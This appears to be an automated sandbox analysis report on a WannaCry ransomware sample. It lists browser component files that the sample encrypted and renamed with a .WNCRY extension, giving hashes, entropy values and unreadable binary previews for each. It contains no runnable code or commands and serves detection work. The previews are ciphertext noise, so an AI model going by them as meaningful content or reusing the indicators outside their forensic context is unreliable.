                                                                                                      Preview:WANACRY!....m....hO=^...]..}...}... ,{ {......Q...K..$....SF..hu..~..7P:.WF.<....*x./..2.?..."X.$Cd..m{,q.(K.X.....tTA.^sF..K8.B....H..[..6. ...}..4..q..%./S........B..."<.J..d...\u...^....7...8._....I...u..<.eG.....K.1.FOd..[..O./..P.0.....cu..8.I.>..!P..T}d...............m%...J..Z.y.A....>y..fC.x..W.D.m..M...}...:.b.)........u....P..2E...\tM.8|....$O.'.....Q.O.)..T....L.O..W.n.HNXi1..z_.N?..H..g....g...g}.....)).R7).U..x3.W.P......z....<.$.a...=...BI...G.xo.h.....T..H..:T......8 ....b....T..!..x...tWN#........m.../_...E.z...mE|./"...w...K.......V..I,...p.+.LU.9M.i.P?lS.+.T...+.....)....J.s5....c..A..#.}.A.*...>._...5j.....Y..(6X.+N.ag0uv`...F\.6..$9bzF.q...Slm.'._B.z8F..V.....7y.(........&'1...!V......W\@=.P.....e.L..<c^.T...W;!fr.K..>A....+.....1".&..0...m.....R...:.AB. ..U......t<......J...NM........E...-........z.R..T.....5!U.41....h.;J...1...V.-b..{....}..*.6.a..5..rq...:..6.........z... 2.B.4. ...2.....O..0Zn.._D:]......<0(AFY.oXs..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):80072
                                                                                                      Entropy (8bit):7.997965529746467
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:3out7aKiJJYEoBqmF+ec9dX/yrBmVjFL6Gg4PApHPMoD38Kuh5TrNfPDJHGqnZMv:13iJJYEoBJF+jyrBmyePYL8KuhPnlpuv
                                                                                                      MD5:12B6CF957F61E9AE2B70B2B940790C36
                                                                                                      SHA1:173CC912B98459217B32B36826A2DF158720316A
                                                                                                      SHA-256:347763A0C6825C2A23945B9BF848ACF699DF9D7E07EEE20853CA3330C08097E8
                                                                                                      SHA-512:A5E0C66E437828398F91C53A6E51DEFDE53805AB4DE9244425AAEA4AF54ADDE42320AA2EE626FF2E911CF6B7493469C8D34E5AC0701A5660807EC589F23E68F6
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....{G..A..&T..N.wz^.....L*....N..+.Nk.z{..|....(5.TL.........K<GX..2..*$..R...L..\...xJB....E.8J...CN..?.D.e......6..a.7..k...;.........>.:.....)QO...p...T...W.a,........v.H....MW.o..&.q.....> ..bM.-=O...~... .ss.#>.-F..!.;.y.Et....G,..r..=v..j0.....7.......l.[..-..9.I.....(...OP...w...._.Y....[....xG..>.7....Px..L....w..A@._Y`.....{...OQs..{...S-.+i..d..M$<.f......vM....t.#....L....wN.-t..o.0$.e.l..R...].N.r"T.T...._.8.......C.}^W...*..r..s..T`.m.e...{.....^?w.XoCa.....a`..I.h...T..0...f.....4.<'(W[.`..p....-dkDD8.f.Z..+...<?<+>..eZ..Tz%.H..OD......H?.!.....s.N.....L%pV..Yv0...z.T.6N...`B....:......|.h<?..)..wu.49....I0b.+........a.NJP.^^..1o.*.|X..Aw:...$...1..p......G.......I6..hO.g.r.....T,..MR .........q..Si.7.8a.}{..s..*Ma.......u.M......O!d..@..X..| M..d...OJ...D4I.. .o,V...p?.'.?.k..&.8."L..d`.......]......Fs..A..Q8.F.G...*.7c...."........0....k.l.!dq....[7..G....0.G..t..'u..Na.E...-1.[=.......&....[.....~......|...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_iframe_driver.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):12216
                                                                                                      Entropy (8bit):7.98517594598268
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:3FBkNPi51iPMtrbY3rU9maU2RnlHx74noijRb3JpwIMpOBAlLmedhBwn:Te65oPMlQrUMarlR5itbw3pOByLLd3c
                                                                                                      MD5:4B6C01DC42532E167222BEF6F371B02F
                                                                                                      SHA1:92C45A857B7747B83BC766B2D99380A5771D0799
                                                                                                      SHA-256:801C1B47430F2E002062C100B02C2CF40BD74A709F7C24F95D11BF673C23DD18
                                                                                                      SHA-512:76581E829FAED86E5A80321CFF8E4404A57104822900C980FEB84B6E6C76C9D905F3429D95DD8306154973641767D2ED51AB1429240CD64D888ACFE62EDABFCF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Uim...Y[.u..7~.....0...:>...[.wF..[y.s..G.o".W..(d.....sR......e.Q.>%.....c.~..0.(T'...=.n.=6f............:..0...;.L..a..#o...O.1@..J3..L..C..~...%.T.....b....{.e...W..$%......(:....YG.m...., "a.iz..?W}F%.][.@...@.3..Y...2....(\................i.E..9h....N\....'..%D.>..?q..C2.`.w.{.GnS.......4..PF.........-..P..q..>..........]!N.^.,.Et.....^pLy...M...n.k..fW...".[X..E.MXv..m(...&...Y.1ct.*S......~W}.D4g.t....5..B..t...0.'y.a......L..........9E../.7.D.@'xz}T.W'.\........aD.,...V..z..?..$J...lor.(..I.W......l.e.1)..5....e.#...r.......{@(.Y6....@$.e,.6I.^cd..Ws.1.A....8.a.....{-.R...1....CzQl.l.I..........j.|...w.g..9m.7 .ePt..".@G*k.. >...[G.~5..ln(.kL.=.x..h..;q....KQOx(..\....t.....{.....O.~..P..(.-..!..\...S.h......F.-=F|.D.A..)...n..BS.....'...Yo..=..p....A.'..M......;...Y..]B3: ..uC....V.I$.:..Y.[.I..[.[.L.9RV:..;.%...l\EP]...".m.....WQz...Y$...+.Dw...i...{.-.E.....^..9!.9........y..m._....I.]..U(y........

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-bing.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2696
                                                                                                      Entropy (8bit):7.925099819336861
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkN+gNIHRtsQuzdC+yey0GM/JeCrLtBYOO452pvN70aS+DrGY31A/Sz9qhlz9Buw:oN+WsmQiC+zGWXvfmVwZyCOaK+lJ
                                                                                                      MD5:528E41E53DB314C44D9861202597C650
                                                                                                      SHA1:F8A5CEA1E021E8B4DE91FE94815F2A792F243494
                                                                                                      SHA-256:8208A319CC33A90068C6883BECD3223C52A25072D55FA6F259592B02254AB519
                                                                                                      SHA-512:7E6DD322623336A17B9692EDCC644902293714D3CB101811C4E8700152BBF37C13CB6793539EB93073752E36DF2EE00447C0856DFDB6918F93E9DB21400CBB68
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........Q.e.^.gs,j.;E.,]w.Cl.<.!A...\...g....:...'....mD.l......+@...%....Z..k...Tp].eR.T...3....kvs....x...8.di...$.....C...n..........yg.....I..V....cn y....e85.V4...Y...(+.W...m..u.T.$...fH....J..../?b.MU...G......h....Z5..m...K.=\B.......i...$......g.......G.....]..>t.^. ..~.;...I..R.g..Tc36..|s....z.+.^....qL.....G..6..6..G...HEm0....S....xV].1.H......!r.-.I,F...y1;i!{4@'...uE..?.%.a1h..c.v::.......3.}...B.s.."....E\..!..PL..Qa+..]..K-.Q.v..._..n....*.|...At...'.le..i.....>.I~.6Ct+.L..U.g.N.P.<..U.J.d.....=..p.j...?,..`{.L...`.)....~..<8.4..8..c.0.....0^..o..v..4.l.U.....T%....m;RB(.zI...^..r....."_.....:{q..w.l..~...X..|.k.,.\Y....[..B..3."..X_e...AHUC.H.{.vG..b...Q...!....B_{..Fe.......rp...G..../tb.@.(.z`B..V\.[..5........5.ApJ2..U.`)....t...Do.."......'...F*.5.WN.Q.\.c.1.....?.oF.O...R.....K..n...y.t..z.Or.{c/.@... .+.J..'..C.f....Z[..p.z.M...O....cA....g&...D....h.p.`..z..%.......C]CO.@n...N.$....u5...K..L.kw..YZ.g5...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-kayak.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6136
                                                                                                      Entropy (8bit):7.97261137538788
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oOAjbLIHXCZXo1/NzYkLC1YG6th6CdcJpzsoiztkGBFls2x4MciVoL0g0Mv3lNyC:ojbsB1/SpeG8dcJRuFbnciVoLxV0jZw
                                                                                                      MD5:6439D6A33B779A462AC6E3C2BD593057
                                                                                                      SHA1:BE9B957B1213C409A787CB8C24975586A746FDD4
                                                                                                      SHA-256:B061211F5B5CF7DCCCBA53FF090A1DB0D8FBFF118876C0242D2AF94960D9CEA2
                                                                                                      SHA-512:EE9089C5DA32C13806FC3DBB8C969120667BCFF6A059471B5AEF466A08C97DF4A2EDB17112D162355DA5CFBBAE86B27264E6389D6421C724548C35D27EE040AF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....{0...*.N.|.6u.Z.f\..o..9....7.3(=.........c.(....X...&...07h...!W..m...$.3p..[`.?..4.ss.e.a\..BY. ..Sw..d.y.1d.s.....Hn7....W..A.i...Z.....X..sd..>.M..mJ....F.N[8S...~A...R..l|..*.DS]i....U.......j....!vv...,...SX....O.c....`\.`..q...;......................D0/0k.r....M.....>.......-. ....=z..D..r......Q..t.|;.&....[..e.."......y..p....%........bSJ.O0Z`.N..oq....<....Z...J.*`.x..b.....w"&.E.+c..!.q.......p].*!.2.M....M......T.Jzl.9`..U...L.:....9;6K7...9..G..&sa.=.,..Q.....i.......tS...HG.e....y.e..u..PW@...q)..aW...0.<./.wS....XK..]..{r./S..8...........[.....Y...K..".4]..(...l..6f[.;.xn}K...3t.._.y...hK+..-^).z....Gq.>... ...\c..o.f\..U...5e.$.Y.U....W.;.[.1.|1..f..V....;2...~....k..E..w.....M,...z8d.G%.P...b.$p..%Z-}.S$.. B^.t.)R.-".CU+~...r........lL...../ar....I.V..FK..1..M...V...R.9W.. #..S.2.......r.k...P..L..to_.C.R...*...Gw....o{q.....J......v..._..CJ.Lq...z.......a2....8..Z......~0..P.g...g..vh..bMks.....{.\....B.Ve.BG....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):363208
                                                                                                      Entropy (8bit):7.999451418351574
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:F010vk83DYMIphQ+ROFs+Q+reP++p6NDjnia2/ih2xoDYNDyZ0wdZn0DyB8g:Fq0pDAQY0rT+p6NDjniaAih2qYlymSZF
                                                                                                      MD5:0CAF1EB09DD55C6076B454B80D8AECE5
                                                                                                      SHA1:4B53B30903FE75C55D3FBDB5CD1D0C1EED695DCC
                                                                                                      SHA-256:6F9F4B2009766968EBF8189BDABDCA0120839FCEEECE33BD42674C2DF0E6A194
                                                                                                      SHA-512:249D2BF87408BBB3C2583AE12FE0A9D258766D26DEE581388E373E649C584ECBAE58C63414D703BEC2C5EA8D9868B678B2A233E3AD0EE964D05050B71F85665C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......l\.%...A.d.....2..>.........3.2!..=.8...{.K...F.i.N/.....S.Q...-.(=.)c.....O...9..*)........*zJ.5u..>(.:*.?...4..jrt.#.6.V....Z....#v..-.@...uZ.M;zf...D.d..f..z..J......+...1B0S........KU.$.xF..m.......E....Qj..VO..ib.}......^SZ.z.b.3..YB..................@<...#..v.*Oc.\+Mk|.h..A.gT..yST#...f..^9.u....#.u.p......f...-._fS=.../......g.O...#.W.....t.).]....[........7.S..4|.f.`-2yV.+w)..Vt}.. \.r.....I".1.../..I..m.)Rq.:...o.{..h5.*j.LZ.n...&.X|......H..KS.!....v.i...GK7.U.B.."...O1.SV..5cDP..6..'|..G..+.p..PR..t..l.E...V.L.....%..9|...{..zZ5.AJ....5.......M.K.O.!oY./.R.25.q..U.]../.o.75"*~.%...U..u8.=........"..........`.z...7.S.i.......@....._.e...e...e.,..b.\...l.C...!5.f.....&.h...8..HK.V.5`Z..b.. .D^>.]..7r....%h....L.uxg...+m].m..n..~Z.GG....N8Mt.*.I..<.......f........bA."...?......Y.)g?.q.1...4..:....-X..D.P...q.~..'3>..q...F....2.c.......G..<"p..w4....D.25.#.k-....3...I......j..u..]....-d.[....._..G-.q.....?...7.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\shimmer.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1336
                                                                                                      Entropy (8bit):7.858146966862547
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdn5PnaHD8rxurfJmpFQre0k8BlOSaWcGaZVsfyC7zMLdZjU8++f6BCai+k5q/u:bk15PaHD8r+mpFQC8H210fyCPMLdZjd7
                                                                                                      MD5:034D655153F2231C50E96EDF80339775
                                                                                                      SHA1:FE84CB89591F61B7D3856B5A0B6EB4013F3047E8
                                                                                                      SHA-256:2E17899345334D601721E620384B3D9D7E8D12232A88760AF718C0D22F41B43F
                                                                                                      SHA-512:3EAD6F50AC16BDA0E640D2CCDE8A413DD5E95C50B0748E75029DDED539E2D59366510AC05DCF49A3E1FB22F7A47B540C79D10723A83C25DE4BF7A9CCFF3A77FC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....`d.i"......4E..........f.9.P....3.}"....T......s\.?H.I3H.0.....A|... ...%+n......... ..4..5N]......O....LWpi.K...zN..N.s..E.....l...7+....4~...'..nK..v....at....>.z...)~..&.....C..... #..[..........).q.uf...h>e....bF.[.5..O...y..'...%..1`%F...............A.....7....M......)..*'.w..O..8..#Q..g.+..1...5RL.wA.g?.....~..."......y.NO.....w2h."~..W.......m.O....WTJ.......A.....W.._.n8.Au.w..._....|..}...".f...K...n.-p....E.b)@..0.].fY.'.h).xI......@.....*.......I....4-.(......BL..9.Y..%............d..;.+F.3......U..../&..(........)....N..q.D..........tO..b....(l.x....a..Sw...h..;..@...U^...-.3Lx{.{...Fh.T...= . .;N..g... ...f.......,~..L."...h.T..&..!K..md.aJ.mX....~iv....o..g.0~...P.!....97.,.^.t..H.l.."\....f:g C.{I.&e....K...4.MxOc4..y.W.5.a..e.}!..L,..4.......;S.W_z..T&{d.......B.n..U..:s.b+...I=?u...'..G...f.Y.\......cj.J}.Kq^uB...d..La:..q.!....?.p......z....d!.?{..*C..C")).S..m.r.. n?...OD..Cr..th..-....YlJ.......4!P ..D.A..[..D

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2040
                                                                                                      Entropy (8bit):7.893733192725476
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkwXeYC/Z0B+rkcLZH6atPYnprqpjI8uVxAIG77SSs9DG779p9qV2dQ8i:oyeYpKoaZgprqpic2ktqV2Li
                                                                                                      MD5:66B2D75EBBF6F250E9C810FDC9F8D890
                                                                                                      SHA1:744B06BE2660AE9932C118AEA1359F515C320768
                                                                                                      SHA-256:65AF0CC81787B0CA9A1FBFE0C414B84AE9A632EE4EB04046A7A22DA6ABAD68BB
                                                                                                      SHA-512:09C4FC02155AB5B0372053992D3E7AADDB7631FFFA4A97B83690990B65A74FBAC06DC8557091B16BD110B44FCB25C5241BB0D6C21A0979350B82251D0EA84616
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....p.Dg.C?...m?E..D.(w4..)@)D.B.=....v..F.R...f...Q4.x$......dT1U.....O...;.Y}.o.*9.,?mw.w..&....._Y.Ljf.Hj<.OGA...Z..............Y.h..V3.^...Uy...9...~[Gh..Y...YT..-Vt@.%.x~!.pZ.|m>.Z.3.|.S:..r..=_IX.....1j.L+....f.W._U5?...[.^Jg.<d.r...2..."..............w..yy{k........77.~,HBH.4...Y.WW..9.d..fF.4.F$..O..+.X.c.l..R.#...8....2*$..M .p..1.(.6......L..3.+O..M.............z/+..l......_(.h.X.s..wo..G.....W..8........5|..\.p........{..A.D............3.L....*x...2T)J..~N.N....9nZ.d.........:pS.A......II....]....~u.|..'.....A......z.L.,........uv.t.3....E......g...."..H*.l..~.*....,..x^'8..l.`...u....A+.yF.....S..@.g3....+Vt.V..8.c.m2K...o<TG....~D$.\#.Q..y..J/...k..G.h..c>.......3..Q.3a.......,.J..D...i..O.9.d...9.*...^...r.d.*TF.c4.0_..1p..$....H...U.O..+.B..........Z..NJ0..h\..C..1.x..I.#...(.#.mo......~..Z..B...y..0.4....~....G.C...U..=.h...T...........,..X.=........H.<.......Iww.U..U0p.....}....[$.r}...qYn:VY".....V...q.]...Ds.hT="*.B(W

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):843176
                                                                                                      Entropy (8bit):7.999814621296437
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:mNyz/WwIQpK2grxG6i4flLEih39be4lXVgLWyvsFAd6BEAfodX:m0KwbpavZz9S4jgayv0NyV1
                                                                                                      MD5:3ABA9FCD0DE9CD76EFA025635F9541DB
                                                                                                      SHA1:22070D20C718F98771B5E9404F40B6EBD129428F
                                                                                                      SHA-256:C6EBD8EBCE440DA17C28411F2A95F37D05FB8496F77D965DDE2544E2B74DB632
                                                                                                      SHA-512:B7F8688BDF871A8791C8801D22AD83896FA444DCC5C6FF60C396829621FF50814C9CCE69D26F0EBF7E5BB19C9864BA1383D58F7C32584D30F967EC5F57916914
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....!.p..%./zQ...U}.e._...bT.Ot.-$....'.@....s...^...gY....DU....|o..p.8......Jn...g..xL7....6.F>.)..eD.r......9s.sR...Y.&..G(.:...:.T..X.`.......q....Q.........a.t.ph.{..s.FX....8.Tx.24..|Rg..`.....2"..8.-(....OKl....8}K...Y.....H..k....k#.............x.i_.*.2..W...\Q$..c<..j...Z/._.......{~q..+..x..b.0D&... ...>.G...y.+.LV..x...C...>r.../'...t......P...y.O1.Obx..>.v....E!b....0ut..F....p.C..~..........N...v0Z.]M..I.0yJ(....d.;)...9.D.....l..G.%K.qx...hA.M9N{.Z..b..Fz...d@;.{.:....8....n.u......<q)....c..C.?.-x.k....p...X........`.W.J.S.G".`.(v..sL.s..X.q.#9...f..X.'W.,.....{.3.....u.a[(.+z..k.8z.r.*../......gM.....)..S...5V7?{..DV..x........K.n...E.<.M.m...?gC...c.Uo.5.L..|H.....E..K....d.J.....X....+[.o?g;%...wi7...g$pE9...._.<.b.L>..i....7.....Xp. .?C.=...[..F...|B.$.X.......(.b..?U..4.+ca..d...r.1...{...~"..{..g<b.3b..{..&...h..d$&X..2Y.?...~..+(..T.<V..\D...K...RF..{....OV..5a.....k.j).=<..kn.....+... ?X..)\....[.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\driver-signature.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):14632
                                                                                                      Entropy (8bit):7.987458765793894
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:2V+qCJAFihRQDmdceDR0fa6wsAVaZmRryxLaw:2SAFi0m+eDR0fnYdu
                                                                                                      MD5:30845C5CDFF43EE75A18D3855E8886A9
                                                                                                      SHA1:090E1F1D37162C2654E1314E90AA54AD51E37A10
                                                                                                      SHA-256:EED099A57D586B065AB5A83E74256ECC050B58D3083F037BE14B0179AAAB08BD
                                                                                                      SHA-512:42E08F2D0E2BCB4164CBFC88FEB2AE790A0724F3D78A0935824CE5FA35B7E7BD33A354256C7A5FADE5CB4288F8BC90B008D62323E8992275FC4EB4A5D527AD77
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....@.^Ay...WT..C...P....;&]nQ+3kl....(.'XJt...w..C......Ps.?T.6".E .MG0%........~.J.H@...d..L....l..L~8D.C..-..()..=.E..29.j..vJ...2.i...\0....N..jb.....f..IE..w7.=..y....:..NM.?."4.../...0..(.V.*...IcG....<.[x....J..V).xn.7s......`..(.....1..0..\.......8......E..h..........!.%t[....G...76~...Z..iU.Fp.^...V.~..b.. y..R/..p.{..bA ..].q....0..8..%...............U..V.i.lo.1.%.. ....H...}7cP...3f'.nf'..u..K..Ob.*.....H..J. ..D.]2.....U.*..@5..5.[.og..c..o..L..~%.+.N1K.]D'.....L..,.}B.@*..v[+.9->........D.s&c..1<........'..B>o.....`.......d.~..B..6.W..[..$.GF-i[*.Z....X....:.BO.h?..n......J..M...5...t...!..4}P...%..58..6.LF.7ih....1/J............p.....U...C.'2..z...6....M....x}...Ht...@_....Z.n.H..G.....@<...8..bw.S.........n3.........Z.n[ve..S4...G.v.M....d.r7C.../.......P..Y.<..B.l.)F|i.4.X....?NR.k...L.......M......a.].L...N....v.mur.K....`?&.b+W........\......C.....K..(a.>.u.F.tl.. a..k....>N.........hv%l.=#.R......*...X\j.N..H....x...TJ

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\load-hub-i18n.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1624
                                                                                                      Entropy (8bit):7.8698938302263
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bk1cd8DHIBDsw8sMPIIbGeeRwfAleR5IQALUJzcE6:o1cKqD78t1GPy48/TuUJL6
                                                                                                      MD5:460F189E7D35A2F558ACD14C31AC126D
                                                                                                      SHA1:9A16AB3367C42D47D32FF3ADB59F8E48FE0F1E4A
                                                                                                      SHA-256:CDE7221E65D2821E5C0D1BA8A8361831E59E9A7759400C1043EC798741A6BC1D
                                                                                                      SHA-512:A50CE1DFB5D8623F865DA72164367487C394A8C2A753AC1104084C5A59048EE926E6E84A24762CC9B2802FB7FAB09183807036FB7A7852091C42B3C9224A5946
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Z@&`kC....pt.3...+#......r..... R...q.d4W...P:kD.#2X......>....b....h......'..<..:<m....$L.=.......\.#...,....."..o.B.i...F....]...I...l).[.N.K..-x..Z.<..R.j}.....7..q;k.r..l).4..........6...X\......2b.D.|....l.:..}..;.T.Q..UiK]._ni....K..6....4................k@d..!.Q....U.d...:q.....e..kB....Z..B+....#EB3p.0....i6..BR.............d...,.[.38XT..]...|]..=>(.+..?.........&...<#H..P....H.LS..<[..@d.F.)?.oH1Y.T.........I....CzHx"K.}Q..=......y-.{x....L...]H..*.,X...hj9B...UY./.!a.t....n..\.h.d.Hv.%..5)...40........3 .o...K.U.N.V.)vs[..WS.]8G|..!.N^.{...._..<C..../...f..+{5B....)..r.R.&.k...@.X.e.....9.D.]'.}&A.s..w..R...}...k.....xF....../wz.W.K.w.s....aMW...(..l$.-...D.:.^Z...A&W.....~RR.$.v'x.V..d.gd....{...~....I......O.U.C.<)m..c.t..R...9o...."..g?O0......]b...Q....F....&...D?.d...!....TT.....uo..2f2.HZ..?...Z=.a...lF_..... ....xxa(.."S.*?.:.*B.Iy.E.......Y...C...........*Z.>..3...T.........49..4T.dG..F..y.*.Y>..b1.f.sj

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\runtime.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2424
                                                                                                      Entropy (8bit):7.9231440147630146
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkrDs/Hd1Oi7KJmhJujFMZbzj9V+0sAOs3hwaGpP7aWleEKYmHLhLyCR7y:orDYBcpMBq9gh/s73l4HLN9y
                                                                                                      MD5:1955719DADEFB572928432C2469CECC3
                                                                                                      SHA1:145E4DCEFE0E4EF310D17981096012228EF0BA52
                                                                                                      SHA-256:460B7DBBD73978ED106E946C02CC13008A53AFA6D490494D6215EC4F95168D36
                                                                                                      SHA-512:3A08C17B7347C192E0D1B6C2338AF70AFF17A363F6A93B6CE07FACF7EC3C952F130A1EACD3368FD7BA014AC6C889E8EDF114AAF06CFAF1B66118616D474DB5CE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......$.=.......1....p..0.1....].....7...xY.......4.T..(....hQ.[U.............a.u.H...ls..<.&.Tc..Uj.PZ...a/.$.x..T.\...z........ri......>..gV....3.(.......Y..zZ..[..k..aS....+...9b.s.>.0SDm..)..d+..W..S..F).o7.%.2.0..,....(......6...p......-..\....^.........z..^dR..D...|..Wb,i...=a}T'..J..Ft..4#-.VS.}....!!D..[3../...`.....L+r.,........>..-.C.-c;....H8.n.7.N.....HY.E....Y...*r..i....9A.L..j~.y_.3..s2v.z.j4..j....h....k?.....>.x..>,.A......,i....d..Z...z...\.1...#Q.EFI...!.`..$.}c..I....P...8....c.o6..]GC.#..!...TO.<..yJ.(F...P........3J...M=[A...wh......JT....{..8.!...JW.Zo..:k. o=.}x..q...b...j.FW..a.....z.W..M.z*_..3.,T........_....i...+...6...<p..L<U..7..Q...P.YU*DRzC)=H./5.7..N.5......3#bk.<.....Y:S^..&...2...b[.. ]..<LpY..Tk3D..|B.?....S.6.n.YUv!.C...j$-.W..f%.C...W.{...`.!f...rt..j0..].NHc.....%-n_......M,.....4G.........I^XT.....}.i.y"CW......$.T....c...G_...........C-..9..9........i.!..p.K8..q.vq.2 <....Xhd.~..f

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):28904
                                                                                                      Entropy (8bit):7.992965142522699
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:xGZFBgnLcFABgQrvcOqrYQtiAgJWzvupSSXU2q1lwyuyuUpDQ9xnP8G0Dfi57WDk:MZFBgPyht0L5b7ypuKUx8G07i5qDAV
                                                                                                      MD5:C102A817202E7D2FE036BE4A4DE953BB
                                                                                                      SHA1:0C9D86ED80289F45BBEDCFBD085513558DAA8D1A
                                                                                                      SHA-256:CC129C3DF1E210E4F6BA75252053E70519A4C692F5F3306211FB951DC0497A70
                                                                                                      SHA-512:B21C54167432C0AE981DFCD936FFD24208CAABF769CAC3BF8D4545F552C93FF78ED24E788B3E403DA29252EE60E13D13C9DDE32BF96E62203247D9D848D1A1E4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
